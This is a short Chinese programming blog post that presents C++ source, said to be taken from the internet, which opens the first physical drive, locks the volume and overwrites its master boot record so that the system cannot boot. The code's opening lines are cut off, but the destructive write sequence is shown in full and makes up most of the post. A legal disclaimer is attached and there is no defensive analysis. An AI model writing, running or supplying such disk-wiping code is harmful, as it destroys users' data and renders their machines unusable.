C++破坏MBR的代码
本文实例讲述了C++破坏MBR的代码，该源码只有破坏作用，使系统无法进入。仅供大家参考借鉴之用。请勿用于非法目的。
源码来源于网上。具体代码如下：
\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("createfile failed...");
return -1;
}
//锁定卷，使用FSCTL_LOCK_VOLUME时，以下有几个参数设为NULL,0;
/*Parameters
hDevice
A handle to the volume to be locked. To retrieve a device handle, call the CreateFile function.
dwIoControlCode
The control code for the operation. Use FSCTL_LOCK_VOLUME for this operation.
lpInBuffer
Not used with this operation; set to NULL.
nInBufferSize
Not used with this operation; set to zero.
lpOutBuffer
Not used with this operation; set to NULL.
nOutBufferSize
Not used with this operation; set to zero.
lpBytesReturned
A pointer to a variable that receives the size of the data stored in the output buffer, in bytes. */
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
//写入磁盘文件
WriteFile(hDevice, pMBR, 512, &dwBytesReturned, NULL);
DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
return 0;
}
int main(int argc, char* argv[])
{
writeMBR();
return 0;
}
希望本文所述对大家的C++程序设计有所帮助。
